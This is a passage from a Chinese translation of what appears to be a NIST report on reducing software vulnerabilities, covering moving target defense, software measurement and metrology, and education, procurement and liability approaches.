2.4.6 潜在影响的基本原理

代码重复利用是无处不在的，并且看起来正在加速；通过对非常流行的框架进行投资，任何进展都会变得广泛相关。

2.4.7 延伸阅读

[Software16] “Software framework.” Available: https://en.wikipedia.org/wiki/Software_framework Accessed 13 October 2016.
[TodoMVC16] “TodoMVC: Helping you select an MV* framework.” Available: http://todomvc.com/ Accessed 13 October 2016.
[Wayner15] Peter Wayner, “7 reasons why frameworks are the new programming languages,” 30 March 2015. Available: http://www.infoworld.com/article/2902242/application-development/7-reasons-why-frameworks-are-the-new-programming-languages.html Accessed 13 October 2016.

2.5 移动目标防御（MTD）和自动软件多样性

此方法是一系列技术的集合，以自动改变软件的细节结构和属性，使得攻击者在利用任何弱点时的困难大大增加。为了说明，考虑此家族中最近被提议的技术之一：堆内存随机化 [Iyer10]。当程序请求一块缓冲时，最简单的方式就是返回下一段可用的内存中的一块。这将缓冲置于相同的相对位置。如果知道了这一点，攻击者可以利用一块缓冲中的缓冲区溢出弱点（即 BOF 类）[Bojanova16] 以便，例如，读取总是位于该缓冲之前 384 字节处的另一块缓冲中的口令。堆内存随机化将会在每一次分配过程中分配随机数量的额外内存。这将缓冲置于不同（不可预测）的相对位置，于是上述漏洞利用的难度大大增加，或许根本不可能。

软件多样性和移动目标防御（MTD）的目标是降低攻击者利用软件中的漏洞的能力，而非减少软件中的弱点数量。这种降低可以通过改变“攻击面”而实现，攻击面即可供攻击者访问的跨越时间（在操作过程中发生更改）或者跨越副本（多样性）的接口。这种降低可能还包括再生受到攻击的系统组件 [Knight12]。

当然，多样化必须是安全的。即发生的更改对于正常行为没有影响，而非可能增加资源使用。即使加上这一条约束，我们仍然可以牺牲计算能力以换取多样化中增加的粒度或者完全程度。增加的粒度被预想为能够针对未知漏洞利用提供更好的保护，由于具有较高的几率以影响对于攻击至关重要的某些信息片断的位置或者值。这种折衷类似于静态分析，参见 2.1.1 和 2.1.2 节：投入的资源越多，担保的量就越大。区别在于，静态分析找到特定漏洞以使得它们可以被修复，而导致多样化的变换增加了利用整类漏洞的难度。

2.5.1 编译时技术

编译时技术时那些由编译器自动应用的技术。它们可能引起每一次编译得到相同的可执行文件，以使得可执行文件随后在运行时选择随机的行为或者内存布局，或者它们也可能引起每一次编译得到不同的可执行文件。

一些特定技术包括数据结构布局随机化、函数调用中的不同的参数顺序、地址空间布局随机化（ASLR）[PaX01]、指令集随机化、数据值随机化、应用程序关键字标记，以及具有操作混淆和重构的可变指令顺序。

对于证明这些多样化是安全的这一点有用的程序信息对于旨在发现或者移除漏洞的程序分析同样有用。附加软件分析方法，如 2.3 节所详细叙述，是为了使用相同的计算能力以同时检测或者移除弱点，并且也会随机化剩余的弱点。这些多样化技术可以通过附加分析框架以捆绑进静态分析工具，从而潜在地只需要极少的资源开销。

然而不幸的是，当今没有工具做到这一点。分析软件通常由程序员在开发时运行。多样化通常只会在系统测试阶段或者操作阶段当其显示了弹性的时候展示出它的好处。往坏里说，多样化为测试结果增加了歧义性，并且使得追踪造成故障的根源变得更难。为了反制这种努力和好处之间的脱节，使用了多样化的程序应该被特别致谢，以使得消费者知道它们使用了一个额外层级的弹性。那些产生了极度多样化的结果的编译器同样将会减少对手通过检查某个程序的最新和先前版本之间的差异来发现漏洞的几率：它们将会过于不同 [Franz10]。

2.5.2 系统或者网络技术

某些位于系统或者网络层级的技术包括网络地址空间随机化和协议多样性 [Rowe12]。它们可能在其根据规则基础发生变化时成为动态的。在众多案例中，这些技术是基于对于从服务到地址的共享秘密地图或者共享秘密密钥的假设而构建的，以使得应用程序可以认证并且获得当前信息。

2.5.3 操作系统接口技术

操作系统（OS）可以对不同的进程呈现不同的接口。这些接口可能是动态的，诸如为每一个系统服务指认的随机中断号，也可能是静态的，其中 OS 对于每一组服务拥有若干种选择。在动态情况下，链接器/加载器可以将每一个新的可执行文件调整至为该进程作出的指认处。作为静态情况的一个范例，OS 为新的进程呈现了一组 j 种内存管理 API、一组 k 种进程服务、一组 m 种网络函数，以及一组 n 种 I/O 调用。试图执行通过该进程的入侵代码将会不得不应对 j × k × m × n 种不同的 OS 接口以获得成功。

2.5.4 成熟度水平

一些移动目标防御是当今众多操作系统和编译器的默认值。有大量研究和整场会议专注于理解当前技术的局限、成本和好处，并且开发新的、更好的技术。

2.5.5 可信度的基础

就挫败的攻击数量、吓退的攻击者，或者攻击者所必需的额外资源而言，这些好处是未知的。然而，众多 MTD 技术可以被自动应用，例如由编译器来应用，几乎不用付出资源或者运行时间的代价。

2.5.6 潜在影响的基本原理

MTD 技术可以被应用于当今的大多数程序和系统，甚至是静态嵌入式系统。因此，其好处的范围是非常大的。其影响并不明确，由于大多数技术增加攻击者的成本，而非严格意义上地消除漏洞。

2.5.7 延伸阅读

[Okhravi13] H. Okhravi, M. A. Rabe, T. J. Mayberry, W. G. Leonard, T. R. Hobson, D. Bigelow and W. W. Streilein, “Survey of Cyber Moving Targets,” Massachusetts Institute of Technology Lincoln Laboratory. Technical Report 1166, 25 September 2013. Available: https://www.ll.mit.edu/mission/cybersec/publications/publication-files/full_papers/2013_09_23_OkhraviH_TR_FP.pdf Accessed 13 October 2016.

第 3 章测定和度量

本章在最宽泛的意义上处理测定、评估、度量、鉴定、判断、评价等。因此，代码审查、软件测试和其他技术在本章中具有一席之地。如同我们接下来所讨论的那样，缺少经过精确定义和严格验证的测定方法，更糟的是，大多数现存的测定方法对于我们想要在软件中确定的高级属性而言只有中等程度的预测性。甚至没有广泛和详细的数据，诸如漏洞的数量和类型，以使得测定研究可以基于它们进行。

我们有 3 个关注的领域。其一，鼓励使用测定。世界上的所有非常规测定方法如果无人使用它们，就不会带来任何帮助。同样，无人可以采取测定行动，如果该测定方法并未被制造出来因而成为可用。美国联邦政府可以促进并且鼓励使用软件产品测定。其载体包括采购、合同、责任、保险以及标准，如同 4.3 节所解释的那样。测定带来的好处将会被放大，如果它们在受到训练的软件开发过程中被修订、解读和使用 [Curtis16]。确实，良好的测定方法的广泛使用是少数方式之一，这些方式具有打破崩溃——补丁的轮回以及超越攻击者的潜力 [Grigg08]。软件也会得益于第三方、非政府组织的程序和判据。某些可能性包括 UL 网络安全担保计划（CAP）、信息科技软件质量联盟（CISQ）的代码质量标准、Coverity 扫描、核心基础设施倡议（CII）的最佳实践徽章，以及在成熟度模型中构建安全性（BSIMM）等。这些中的很多包括进程测定，这是第二个关注的领域。

第二个领域，进程测定，包括努力的小时数、更改的数量，以及在送达的代码中没有验收测试缺陷以及验收测试缺陷密度 [Perini16]。这些对于漏洞数量并没有直接影响，但是其间接影响巨大。例如，如果开发者被强迫频繁超时工作以赶上某个期限，或者计划安排不允许培训，则漏洞的数量很可能会显著增加 [Perini16]。其他范例包括指示新的过程步骤相对于先前的实践能够带来多少帮助的测定，或者指示过程中的允许漏洞逃逸的部分的测定。这种持续改进过程的方法被发现于最高等级的成熟度模型中。它还允许小组采用或者适应于对于他们的环境最为适用的方法和测定。我们不再进一步讨论进程测定。

最后一个关注的领域是对作为产品的软件的测定，例如，关于不存在缓冲区溢出的证明、每 1000 行代码中的缺陷数量、关于规范被满足的担保，以及通过测试套件实现的路径覆盖率等。美国国家标准技术研究所（NIST）的软件质量小组组织了一次关于用于减少安全漏洞的软件测定和度量（SwMM-RSV）的研讨会以征集想法，关于美国联邦政府可以如何最好地识别、改进、打包、带来或者提升软件测定方法的使用以显著减少漏洞 [脚注 2]。他们召集了简短的状态报告书，随后邀请了基于所提交的 20 个状态报告中的 10 个的研讨会演示。此研讨会举行于 2016 年七月 12 日，完整的研讨会报告可以作为 NIST SP 500-320 而获得 [Black16]。本章的大部分内容来自于此研讨会的成果。想法通常由一人提出，由其他人讨论和详细叙述，然后由另一些人编写并且报告。因此，在大多数情况下难于将想法署名给特定的个人。我们感谢参与了此研讨会并且对报告中所注释的想法作出了贡献的所有人，无论贡献大小。

[脚注 2] 其网站为 https://samate.nist.gov/SwMM-RSV2016.html。

我们区分基本测定和导出测定。基本测定是具有明确的值的简单、基本的评估或者计数。与之相反，导出测定是“两个或者更多的基本测定的值的函数”[ISO15939]，或者是某个基本测定的数学变换 [ISO25040]。导出测定通常是那些我们想要能够测定的属性的替代品。例如，缓冲区溢出（BOF 类）[Bojanova16] 弱点的数量是一种具有合理地清晰的定义的基本测定。与之相反，代码安全性是一种导出测定，它只能微弱地通过 BOF 数量进行预测。缺陷的不存在并不指示着卓越的存在。

3.1 软件测定分类法

软件测定可以从 4 个维度来分类。第 1 个维度是该测定方法有多么“高级”。低级测定是语义之下的，诸如程序的大小、路径的数量和函数的扇入/扇出等。高级测定方法更多地处理的是程序的本意是要实现什么。第 2 个维度是静态还是动态。静态测定是那些应用于源代码或者“二进制文件”本身的测定方法。动态测定应用于程序的执行。第 3 种维度是视点。可以是外部视点，有时称为黑盒或者功能性的，或者是内部视点，在此代码被考虑，称为白盒（“清晰”或者“透明”）或者结构性的。第 4 个维度是测定的对象：bug、代码质量和一致性。

对于第 1 个维度，测定方法可以分为低级或者高级的。低级测定方法被广泛使用。与之相反，高级测定方法所处理的是作为客体的程序与作为有意识的主体的开发者或者用户之间的关系。质量在这种客体和主体的相互作用之中得到提升 [Pirsig74]。与低级和高级测定方法形成类比的是低级漏洞和高级漏洞。某些低级漏洞包括缓冲区溢出、整数溢出和未能提供默认的 switch 语句的 case 等。这些低级漏洞可以直接从代码中识别出来，即某人可以检视代码，或者使用某个程序来检视代码，并且确定对于给定的特定输入是否有可能出现 BOF。无需引用某种规范、要求或者安全策略来确定缓冲区溢出是否为可能。

另一方面，高级漏洞不能仅仅依靠参考代码而被识别出来。人类审查者或者静态分析器必须查询要求、规范或者策略以确定高级问题。例如，未能加密敏感信息通常不能完全通过代码检查而被识别出来。当然，启发式搜索是可能的。例如，如果某个变量被命名为“password”，静态分析器如此猜测是合理的，即该变量是某个口令并且不应该在没有保护的情况下被传输，也不应该可以被非授权用户访问。然而，不论工具还是人类都不能在不对其进行外部定义的检查的情况下确定某个被命名为“ID”的变量中的信息是否应该被加密。

拥有对于安全策略和要求文档的访问并不会使得软件质量在所有案例中被评估。要求文档通常应对的是程序的行为，以及程序特有地需要去做什么。形式化地指定该代码应该是高质量的这一点是困难的，也许完全不可能。软件架构是定义结构组成的一种方式，它将良好的、有用的软件同易出错的、难于调试的、脆弱的或者不灵活的软件区分开来。

对测定方法进行分类的第 2 个维度——静态还是动态——在测试中最为明显。测试测定在概念上有两部分：测试生成或者选择，以及测试结果评价。测试测定通常回答这样一个问题，即程序（内部）或者输入空间（外部）有多少被使用了？测试案例生成必然是静态的，而评价通常是动态的，即基于执行结果。在众多测试测定中，这两部分彼此联结。它们可能包括某个例如选择额外的测试案例以增加覆盖率的步骤。因此，动态部分会影响静态部分。测试通常被引用为动态技术，由于程序执行是测试的重要组成部分。即如果某人提出了测试案例 但是从未运行它们，则严格地说不会得到任何担保。当然，在大多数案例中，选择测试案例过程中的思考和检查是一种静态分析，它产出了关于程序的某些担保。ISO/IEC 25023 将静态测定引用为内部测定，而将动态测定引用为外部测定 [ISO25023]。

第 3 个维度是视点，可以是外部或者内部的。外部测定通常是关于规范、要求或者限制的行为一致性。它们基于软件被观测到做了什么。它们通常被引用为“黑盒”或者行为性的。这些测定方法对于验收测试以及估计用户或者任务满意度极为有用。如果程序不能满足其目的，该程序编写得多么好或者其内部结构组织得多么好几乎没有任何意义。与之相反，内部或者结构性测定主要应对的是代码的架构、实现以及精细粒度操作，或者得到关于它们的信息。内部测定基于对源代码或者可执行文件的分析。此类测定方法与质量相关，诸如可维护性、可移植性、优雅性和潜力等。例如，外部计时测试可能不足以确定算法的复杂度，而代码检查可以清楚地显示该算法的复杂度为 Θ(n²)，并且对于较大的输入会有性能问题。

确定多少测试才是足够的同样展示了内部和外部测定的区别。外部测定，诸如边值分析 [Beizer90] 和合并测试 [Kuhn10]，考虑行为或者规范以计算已经测试了多少，或者还有什么尚未测试。另一方面，内部测定包括区块数量计数、变化充分性 [Okun04] 以及覆盖率测定 [Zhu97] 等。这两种方式是互补的。基于外部的测试可以发现缺失的特性，基于内部的测试可以提出从要求来看并不清楚的案例，例如，当存在众多项目时由插入排序切换到快速排序。

对测定方法进行分类的第 4 个维度在概念上将其分为 3 类。第 1 类测定是存在（或者不存在）特定的弱点，诸如缓冲区溢出（BOF 类）或者注入（INJ 类）[Bojanova16]。注意，瑕疵的不存在并不指示例如弹性架构等。第 2 类是质量测定，其本意是确定代码或者部分代码的优秀性，然而，我们仅仅拥有“质量”的代理，例如可维护性、可移植性以及断言的存在等。即使如此，这些代理中的很多只能间接估计。前两类是关于产品质量的特征 [ISO25010]。第 3 类是与规范的一致性或者正确性。这第 3 种测定用于使用特征中的质量 [ISO25010] 并且必须具体到每一项任务。有可用的通用要求语言和检查方法。由于这 3 种类别之间的深刻差别，没有一种安全性或者漏洞测定方法可以保证优秀代码。

3.2 软件担保：软件测定的目标

关于软件将会按照其所应该的方式发挥功能的担保有 3 个来源。其一是开发过程，如果软件由拥有明确要求、经过良好培训并且已经被证明能够构建具有低漏洞率的良好软件的团队开发，那么我们就能够拥有关于他们所生产的软件很可能具有极少漏洞的信心或者担保。担保的第 2 个来源是我们对于软件的分析。例如，代码审查、验收测试和静态分析等可以为我们保证该软件的漏洞很可能是稀少的。我们可以牺牲这两种资源以换取担保。如果我们几乎没有任何关于开发进程的信息，或者该开发进程在过去并未产出良好的软件，我们必须进行多得多的分析和测试以获取关于软件质量的信心。与之相反，如果我们对于开发团队和开发过程拥有信心，我们只需进行最小化的测试以确保该软件能够遵循过去的经验。

软件担保的第 3 个来源是弹性执行环境。如果我们对于软件质量没有信心，那么我们可以在容器中运行它，如同 2.2.1 节所解释，给它极少的系统权限，并且让其他程序监视其执行。如果任何漏洞被触发，则它对系统的危害是受到控制的。

我们可以利用数学公式来表达我们的担保：A = f(p, s, e)，其中 A 为我们所拥有的担保的量，p 为来自我们关于其进程的知识的担保，s 为来自静态和动态分析的担保，而 e 为我们通过严格执行环境所获得的担保。合并函数 f 为某种加和运算，类似于 p + s + e。如同我们之前所述，如果我们没有关于进程的信息，则可以通过额外的分析工作来提升我们的总体担保。另一方面，如果我们对于开发软件的进程（和人）拥有巨大信息，则我们不需要进行那么多的分析工作。

3.3 软件计量学

为了拥有一种合乎逻辑的、广泛有用的测定系统，某人必须拥有坚实的理论基础，即软件测定的哲学。这种哲学必须拥有坚实的数学基础，例如，以使用合理的统计 [Böhme08]。本节解决了诸如这样的问题，即什么是软件计量学？它的目的是什么？相对于物理测定，测定软件过程中所特有的挑战是什么？可能的解决方案或者潜在的方法是什么？

软件测定方法拥有众所周知的理论局限性，与物理学中的海森堡不确定性原理相类比，计算机科学拥有停机问题、莱斯定理，及其相关结果，它们展示了正确地确定所有可能的程序的感兴趣的测定结果是不可能的。尽管这是一种提醒，这并不意味着所有有用、精确、准确的测定都是不可能的。有若干种方式以避免这些理论障碍。其一，我们可以满足于相对属性。能够确定某个程序的新版本相对于之前的版本更加安全（或者不那么安全！）可能会有所帮助。我们并不需要关于某个程序的安全性的绝对测定结果。其二，某项测定可能仅适用于拥有“合理的”结构的程序。某项测定仍然会有用，即使它不适用于那些完全由数以百万计的散布着变幻莫测的计算的条件的 go-to 语句构成的程序。无人（应该）编写这样的程序。最后，社会可以就特定应用程序作出决定，而我们只需要构建可测定的软件。民用建筑师不会被允许设计具有随意的拱门、穹顶、悬臂和正面的建筑。他们会被要求运行分析以展示该设计能够承受预期的负载和力，然后建设才能开始。当前，大多数程序员学习编写“优雅”软件，然后试图展示它能够工作。期望可能会发生更改，以使得专业人士只会编写那些能够明确满足其限制和要求的软件。

计算机程序员有时会半严肃地使用片语“这不是 bug：这是特性”。它强调了 bug 和特性是在某种意义上相互关联的实体。让我们假设某个程序可以被表征为一系列特性。（程序是一系列特性这一理念是某些大小测定的基础。例如，函数点测定试图捕获某个基本操作或者功能的理念。）称某个程序“有一个 bug”意味着它是某个“良好”程序的有 bug 的版本。良好的程序和有 bug 的程序都是程序。根据这一假设，两个程序都是一系列特性。因此，良好的程序和有 bug 的程序之间的区别在于某些特性的集合——添加、移除或者更改的特性。因此，精确的定义是：bug 是理想的特性和现存的特性之间的区别。在众多案例中，一个 bug 可能只是某个额外的特性，或者是取代另一个特性的特性。

我们可能会将软件计量学和物理计量学对立起来。在物理计量学中，挑战在于精确并且可重现地确定物理对象、事件或者体系的属性。与之相反，对于软件，大多数所谓的测定只是计数。一个恰当的案例是，ASCMM-MNT-7：模块间依赖循环拥有精确定义 [OMG16]。不难编写这样一个程序以精确测定实例数，在此，某个模块拥有循环回某个软件的引用。这样，差别就在于物理计量学已经明确标识出了他们想要确定的属性，例如质量、长度、时间和温度等。与之相反，软件计量学拥有一道完全不同的鸿沟。我们想要测定高级属性，诸如质量、可维护性和安全性等，但是我们并没有关于这些的精确定义。因此，我们不能直接测定它们。然而，我们可以测定与这些高级属性相关联的众多属性。

当前，计量学将实体数量计数降级为一种用于确定属性的第二类方法。这样的经过计数的量全部被视为相同的一维的量，有时被称为无量纲量，尽管它们可能具有不同的类型。

3.4 产品测定

如同良好的进程对于生产具有极少漏洞的代码至关重要那样，终极能力是测定代码本身。如同本章绪言所指出的那样，对软件本身的测定可以为进程改进提供信息。

安全性或者漏洞测定在其最宽泛的意义上包括测试和检查。我们需要这样的测定以确定此报告中的目标是否实现！采用此报告中给出的任何一种技术可能不会显著减少漏洞。未能实现减少漏洞可能只是由于关于技术如何使用的某些细节问题，或者可能是由于该技术就是不适用。如果采用了若干种技术，区分每一种技术的效果或者其共同效果甚至会变得更难。

这样的测定不能被留到开发的最终阶段才进行。它们必须被包括到软件开发的所有阶段。除了像净室方式 [Mills87] 这样的充满雄心壮志的方法以外，此类测定不能作为门而被留到接近开发周期的结束。

有这样的可能性，即软件质量和安全性测定对于减少软件漏洞而言可能是错误的重点。某些测定可能会渐渐显露为重点，由于其他测定方法可能具有内聚性以及麦凯布循环复杂度。也可能证实最佳方式就像净室，在此，测定方法告知一种决定，以接受或者拒绝，并且不会宣称其创建了关于没有错误的绝对认证。

3.4.1 现存的测定方法

有数以百计的被提议的软件测定方法，诸如代码行数、类耦合性、封闭类的数量、函数点、更改密度，以及内聚性等。它们中的大多数并未经过精确定义或者严格验证。更糟的是，它们中的大多数对于软件中的我们所希望确定的高级属性只是具有中等程度的预测性。例如，代码行数（LoC）只是捕获了程序能力中的某些方差。同一规范在同一语言中的 LoC 可能相差多达 4 倍，即使所有程序员都拥有相近的技能。另一方面，LoC 与程序中的 bug 具有显著的强相关性。（这提示高级语言和领域特定语言一般会产生较少的 bug，由于它允许程序员更加精炼地表达功能。）

有些事情即使看起来就像在程序中数 bug 那样简单，其实也是令人惊讶地复杂的 [Black11b]。哪怕只是主观地定义什么是 bug 也很难。例如，某人可以编写一段永远不会发生整数溢出的二分搜索算法，但是该代码难于理解。除以零可能拥有良好定义的行为，得到特殊值“非数”，但是这通常不是一种有用的结果。bug 通常是若干种困难的级联反应。假设 (1) 未经检查的用户输入导致 (2) 整数溢出，进而导致 (3) 正在被分配的缓冲太小，进而导致 (4) 缓冲区溢出，最终导致 (5) 信息泄露。我们应该将此计为 1 个还是 5 个 bug？如果程序员在若干位置犯了同一个系统性的错误，例如未能在使用资源之后将其释放，这是一个问题还是若干个问题？与其说是例外，这些复杂性不如说是软件的规则 [Okun08]。

对于任何现实的程序，测试每一种可能的输入是不可行的。与之相反，必须选择一种测定方法以跨越整个空间。这些测定方法包括输入空间的合并覆盖 [Kuhn13]、变化充分性 [Okun04]、路径覆盖率测定 [Zhu97] 和边值分析 [Beizer90] 等。这些测定方法相互关联。例如，某些级别的（静态）合并覆盖能够制造那些产生了完整分支覆盖的测试，即一种动态测定方法 [Kuhn15]。

有太多的被提议的测定方法难于评估，甚至哪怕只是在这里列出来。我们可以说，如同上文所暗示，测定方法应该紧密地基于良好建立的自然科学，并且拥有合理的计量学基础，以获得最大的实用性 [Flater16]。

3.4.2 更好的代码

用于减少安全漏洞的软件测定和度量（SwMM-RSV）研讨会上的两则演示，Andrew Walenstein 的“测定软件的可分析性”和 James Kupsch 的“应对对于静态分析不透明的代码”指出了新的软件测定方法的方向。两则演示都强调代码应该能够被自动分析。两则演示都呈现了方法以定义代码能够被容易地分析这一点意味着什么、为何可分析性对减少漏洞有贡献，以及可分析性可以如何被测定和增强。

编程语言的部分子集被设计为可分析的，诸如 SPARK，或者被设计为不那么容易出错的，诸如 Less Hatton 的 SaferC。研讨会参与者普遍倾向于使用更好的语言，例如，函数式语言，诸如 F# 或者 ML。然而，对于未来并没有特别建议的某种语言。

我们注意到，除了少数特例，诸如拥有 SPARK 的 Ada 2012 [Barnes13] 以外，其他新语言的工具支持欠佳。支持新工具的构建对于新语言的采用和安全使用至关重要。

尽管基于代码的测定方法是重要的，我们可以期待从对于软件的其他方面的测定中得到互补的结果。某些方面包括软件架构和设计侵蚀测定、代码的语言方面、开发者的背景，以及与软件要求相关联的测定方法等。

3.4.3 二进制文件和可执行文件的测定方法

某些研讨会参与者认为，存在着对于二进制文件和可执行文件的测定方法的显著需求。由于有了今天的优化编译器以及对于二进制文件中带来的众多库的依赖，仅仅检查源代码为所有类型的漏洞的出现留下了通到。

3.4.4 更加有用的工具输出

今天，有众多强大并且有用的软件担保工具可用。没有单一的工具能够满足所有需求。因此，用户应该使用若干种工具。这是困难的，由于工具拥有不同的输出格式，并且使用不同的术语和类。工具输出应该被标准化。即通用的命名法、呈现形式和细节越多，用户就越有可能将工具的结果和其他软件担保信息合并起来，并且选择一种对他们最为有利的工具组合。

此外，工具可以提供关于它们的分析的更多信息。工具可以指示哪部分代码已经被完整地检查，而哪部分还没有，例如由于复杂度或者启发式搜索等。这类检查信息可以被附加到代码，使其成为“随码担保”[Woody16]，与随码证明相类比。

参与者们感受到了对于科学地有效的研究的需求，研究内容包括工具的强度和限制、允许公开第三方对于工具的评估的机制、分享关于工具的洞察力的通用论坛，可能甚至还有关于经过验证或者认证的工具的列表。

3.5 延伸阅读

[Barritt16] Keith Barritt, “3 Lessons: FDA/FTC Enforcement Against Mobile Medical Apps,” 14 January 2016. Available: http://www.meddeviceonline.com/doc/lessons-fda-ftc-enforcement/against-mobile-medical-apps-0001 Accessed 12 October 2016.
[FTC16] Federal Trade Commission, “Mobile Health App Developers: FTC Best Practices,” April 2016. Available: http://www.ftc.gov/tips-advice/business-center/guidance/mobile-health-app-developers-ftc-best-practices Accessed 13 October 2016.
[Perini16] Barti Perini, Stephen Shook and Girish Seshagiri, “Reducing Software Vulnerabilities – The Number One Goal for Every Software Development Organization, Team, and Individual,” ISHIPI Technical Report, 22 July 2016.

第 4 章非技术方法和总结

作为对 2016 年二月的美国联邦网络安全研发战略计划的回应，OSTP 请求 NIST 标识出可用于显著减少软件漏洞的方式。NIST 与软件担保社区协同工作以标识出 5 种有前途的方法。此报告为每一种方式呈现了一些背景，同时带有关于该方法的成熟度的总结叙述，以及关于它为何有可能带来显著改变的理论基础，同时为每一种方法提供了延伸阅读。希望能有其他方法在未来被标识出来。

这些方法专注于具有 3～7 年视界的技术行为。关于改进软件的众多至关重要的方面并未被探讨，诸如创建更好的规范、使用今天可用的测试工具、理解并且控制依赖，以及创建并且遵守项目指导原则等。尽管这些领域位于此报告的范围以外，它们对于现在和未来都至关重要。类似地，此报告并未探讨作为对于软件和漏洞的更为宽泛的理解的一部分而必需的研发过程。诸如识别漏洞来源、漏洞如何表现为 bug，以及开发阶段的改进扫描等话题同样至关重要，但是它们同样不属于此报告的范围之内。

报告的这一章概述了前进所必需的一些步骤，通过雇佣更加广泛的社区，包括研究人员、资金提供者、开发者、经理和消费者/用户。本章解决了这些问题：1) 雇佣和支持研究社区，2) 教育和培训，以及 3) 授予软件的消费者和用户有意义地参与的权利，而非仅仅要求质量，而是推进它。

4.1 雇佣研究社区

除了简单地资助安全的软件的研究以外，还有众多方式以雇佣研究社区。

4.1.1 大挑战、奖金和奖励

众多组织机构曾经发起过大挑战，其中有些是普通的研究目标，而有些是竞赛。更加安全的软件可以作为挑战的焦点或者额外的好处，即竞赛可以专注于非安全性的目标，但是要求胜者生产安全的软件。例如，DARPA 网络安全大挑战的评分反映出了软件能够多么好地发现漏洞并且保护宿主 [DARPA16]。其他挑战可以专注于特定技术，诸如抽象释义、符号执行或者新编程语言的分析。众多组织机构利用 bug 赏金计划来为研究社区提供激励以查找并且通知组织机构有关 bug 的信息。

4.1.2 研究基础设施

存在若干种非常成功的与安全的软件相关的数据版本库，诸如美国国家漏洞数据库。然而还需要更多。可以有版本库用于分享相关研究成果，以及源代码的开放版本库，如 4.3.6 节所提到的。还需要关于弱点和 bug 的更好的理解。例如，多大比例的漏洞来源于实现错误，多大比例来源于设计错误？SPSQ 研讨会的参与者呼吁对于缺陷和弱点的更多深度理解。具体的问题包括对于关于漏洞的类型和流行度的经验数据的需求、编程和测试技术的有效性，以及“更加安全”的语言的好处和代价。新语言要求新的分析工具，以及在某些案例中还要求新的分析算法。强壮的研究基础设施还可以被用于研究可能影响软件质量的其他因素，包括管理实践、教育和培训、复杂度水平以及程序员过载。研究人员需要能够重现结果并且测试跨类型的代码。所有这些活动要求大型、公开的研究基础设施。

4.2 教育和培训

教育和培训的作用再怎么强调也不为过。开发者训练没有技术上的替代品。教育不仅仅是关于教会开发者如何编写更好的软件的，它还包括教育用户如何指定更好的软件，以及教育经理如何设置能够得到更高质量的软件的环境。

此外，教育和培训是将此报告中所讨论的技术方法从研究社区转移到开发社区和用户/消费者社区的首要机制。

对开发者社区的教育和培训需要应对当前教育体系中的后起之秀的开发者，也要应对需要提升其技能的当前开发者。

近两年来，高等教育的焦点已经转移到了更加强调一上来就内建安全性的软件设计，而非在其后添加安全性。K-12 教育也已经在网络安全努力中看到了成长——从用户和生产者的视角。很明确的是，计算机科学和网络安全共同成为安全编程的主题。理解网络安全的原理对于确保软件安全可用至关重要。越来越多的学术计划正在教育它们的学生在编程时脑子里始终记住安全性。

当前的开发者需要暴露于新方法和新技术之中。为了使得开发者作出改变，他们需要看到关于新方法和新技术有效的证据，以及培训素材。为了补充前线软件开发者的培训，经理和管理层也必须被教育，关于软件漏洞的风险管理启示，以及在网络安全和低漏洞软件领域进行投资的重要性。为了使得这种培训获得成功，还需要关于在安全的软件中的投资将会具有成本高效性的证据。

哪些教育学的技术最为有效这一点在当前尚不明确。早期研究显示了为开发者提供关于弱点的更好的理解可以创建更好的程序这一事实 [Wu11]。更多的研究以及从应用案例到指南教程的培训素材对于成功的过渡是必需的。美国联邦政府可以以身作则培训它自己的开发者社区。

美国国家网络安全教育倡议（NICE）的战略计划 [Plan16] 列出了关于改进教育和培训的 3 个目标。

加速学习和技能开发：启发公众和私人领域的紧迫感以应对高技能网络安全工作人员的短缺是至关重要的。必需的步骤包括：

刺激那些能够更加快速地增加合格网络安全工作人员供给的方法和技术的开发
推广那些能够减少获取与有需求的工作岗位相关的知识、技能和能力所需的时间和成本的程序
雇佣那些可用并且有意愿继续从事网络安全工作的离职人员或者待业个人
试验利用学徒身份和合作教育计划以提供一支立即可用的劳动力的方式，他们在挣得工资的同时还能学会必需的技能，以及
探索方法以识别网络安全技能中的鸿沟，并且唤起关于应对所识别出的劳动力需求的培训的意识

培养多样化的学习社区：需要强化跨生态系统的教育和培训以强调学习、测定其成果，以及使得网络安全劳动力多样化。必需的步骤包括：

改进教育计划、课程联合经验和培训，以及认证
鼓励那些能够有效测定和验证个人天赋、知识、技能和能力的工具和技术
在小学阶段启发学生的网络安全职业生涯意识，在初中阶段刺激网络安全职业生涯探索，在高中阶段使其为网络安全职业生涯做好准备
增加创新性和高效的努力以增加女性、少数民族、退伍军人、残疾人以及其他未获充分代表的群体在网络安全领域中的劳动力数量，以及
辅助关于网络安全职业生涯的学术通道的开发和传播

引导职业生涯开发和劳动力计划：雇员需要帮助以应对市场需求并且加强征募、招聘、开发以及留住网络安全天才。必需的步骤包括：

识别并且分析那些支持呈现现在和未来的对于合格网络安全工作人员的需求和供给的数据来源
发布并且唤起对于美国国家网络安全劳动力框架的意识，并且鼓励其采用
辅助各州和区域联盟以识别网络安全通道，以应对本地劳动力需求
提升辅助人力资源专业人士和招聘经理的工具以用于征募、招聘、开发以及留住网络安全专业人士，以及
开展国际合作以分享网络安全职业生涯发展和劳动力计划的最佳实践

4.3 由消费者实现的技术转让

更好的软件的驱动因素之一在于软件的用户、消费者和购买者是否要求它。尽管用户社区明确地想要高质量的软件，他们很难有意义地要求它以及知道他们是否已经得到了它，并且因此发出关于开发低漏洞软件的信号。市场的需求促进了以消费者为中心的措施，以及其他政策和经济方式。一项措施为了能够显著地向消费者提供信息，它需要普遍性、可理解性、简洁性和高效性。一个范例是美国国家公路交通安全管理局（NHTSA）的 5 星安全评级。一旦评级持续出现在新车上，1 星和 2 星的车辆迅速变得稀少 [Rice08]。政策和经济方式超出了此报告的范围，但是它们对于用于改进的软件的成功技术转让至关重要。本节概述了于不同研讨会期间讨论过的一些方式。

4.3.1 合同和采购

美国联邦政府可以通过在合同和采购阶段要求软件质量以及更改一般预期来领导软件质量的显著改进。模型合同语言可以包括关于软件依附于更高的编码和担保标准的激励，或者关于对这些标准的拙劣的违反的惩罚性措施。用于网络安全和安全的软件的样本采购语言已经由防御社区 [Marien16]、金融部门、汽车行业和医疗领域发表。其评估必须包括提供“目的适用性”作为安全的软件的考虑因素。

4.3.2 责任

在软件社区中存在关于责任的大量讨论，包括在用于减少安全漏洞的软件测定和度量（SwMM-RSV）研讨会期间。众多参与者认为开发软件的企业应该为在软件送达之后发现的漏洞负有合同上的责任。很多人并不认为此时应该有法律上的责任。另一方面，这样的责任条款的语言应该足够严格，以使得如同某位参与者所写道的那样“使得企业对马虎的以及容易避免的错误和瑕疵负责”。

